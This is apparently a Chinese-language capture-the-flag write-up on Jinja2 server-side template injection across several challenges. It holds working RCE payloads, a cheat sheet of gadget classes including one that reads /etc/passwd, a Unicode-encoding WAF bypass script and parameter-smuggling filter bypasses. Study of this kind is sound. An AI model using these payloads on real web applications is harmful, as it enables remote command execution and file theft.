[HNCTF 2022 WEEK]ez_SSTI

payload:?name={{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}

思路:

/?name={{6*6}}测出SSTI注入点参数是name

/?name={{config.__class__.__init__.__globals__['os'].popen('ls').read()}}爆表,出现app.py和flag

?name={{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}获取flag

但是我一开始是这样做的:

/?name={{6*6}}测出SSTI注入点参数是name,一样

然后{{''.__class__.__base__.__subclasses__()}},找到*os._wrap_close类,定位到了137

最后?name={{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['os'].popen('cat flag').read()}}

另外,看了别人的WP还有<class '_frozen_importlib_external.FileLoader'>文件读取类可以利用,payload为?name={{"".__class__.__base__.__subclasses__()[118]["get_data"](0,"flag")}}

[安洵杯 2020]Normal SSTI

这个比上一个善良,提示参数为test?url

还是先test?url={{6*6}},发现过滤了{{}},使用{% %}+print,然后没做出来就去看WP了,哈哈

这里学一个WAF绕过方法:使用Unicode编码

Unicode编码的python脚本:

1
2
3
4
5
class_name = "要编码的payload"

unicode_class_name = ''.join(['\\u{:04x}'.format(ord(char)) for char in class_name])

print(unicode_class_name)

原始payload:

{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")())%}

__globals__,__getitem__,cat flag 编码即可

fenjing

在看WP的时候,发现fenjing这款工具,用了一下感觉SSTI白学了,fenjing一把梭就很屌

然后和其他类型的题一样,也可以burp抓包之后fuzz找过滤对象

[HNCTF 2022 WEEK3]ssssti

fenjing一把梭可以跑出flag

和第一题一样,参数是name

过滤了一些关键字和args,但是还可以用request.cookies,request.values

使用的类是__site._Printer__类

payload:?name={{()[request.values.a][request.values.b][request.values.c]()[request.values.d](71)[request.values.f][request.values.e][request.values.d](request.values.g)[request.values.po](request.values.h)[request.values.r]()}}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__globals__&f=__init__&g=os&h=cat flag&r=read&po=popen

常用的类

这里介绍一下常用的、可以作为跳板的类

RCE 命令执行类:

site._Printer:__init__.__globals__ 里有 ossys

warnings.catch_warnings:__init__ 里有 eval / __builtins__

os._wrap_close:__init__.__globals__ 里有os

subprocess.Popen:{{''.__class__.__mro__[-1].__subclasses__()[N]('dir',shell=True,stdout=-1).communicate()}}

读 / 写文件类:

io.TextIOWrappe:{{''.__class__.__mro__[-1].__subclasses__()[40]('/etc/passwd').read()}}

codecs.IncrementalEncoder / Decoder:__globals__ 里有 openos

builtins:

_ModuleLock / _DummyThread:__init__.__globals____builtins__

全局对象:

lipsum:{{lipsum.**globals**['os'].popen('id').read()}}

cycler:{{cycler.**init**.**globals**.os.popen('id').read()}}

joiner、namespace、url_for、config 等

查找脚本:

1
2
3
{% for idx,cls in enumerate(''.__class__.__mro__[-1].__subclasses__()) %}
{{idx}} : {{cls}}
{% endfor %}

[SWPU 2024 新生引导]ez_SSTI

根目录直接爆出来了。。。

[GHCTF 2025]upload?SSTI!

上传了一个1.txt文件,内容是{{6*6}},然后填他给的路径,访问不了

下载附件,查看源码

1
@app.route('/file/<path:filename>')

这个路径才是对的

还有过滤

1
dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]

SSTI漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
tmp_str = """<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>查看文件内容</title>
</head>
<body>
<h1>文件内容:{name}</h1> <!-- 显示文件名 -->
<pre>{data}</pre> <!-- 显示文件内容 -->

<footer>
<p>&copy; 2025 文件查看器</p>
</footer>
</body>
</html>
""".format(name=safe_filename, data=file_data)

return render_template_string(tmp_str)

学习一下render_template_string,它是Flask Jinja2模板渲染函数,会主动解析字符串里的{{}},{% %}语法,解析后直接运行

然后看这个代码它只会去检测data,然后就想到用request.args绕过

1.txt文件中

1
{{ lipsum[request.args.a][request.args.b].popen(request.args.c).read() }}

在URL后拼接

1
?a=__globals__&b=os&c=cat /f*

然后就出现flag了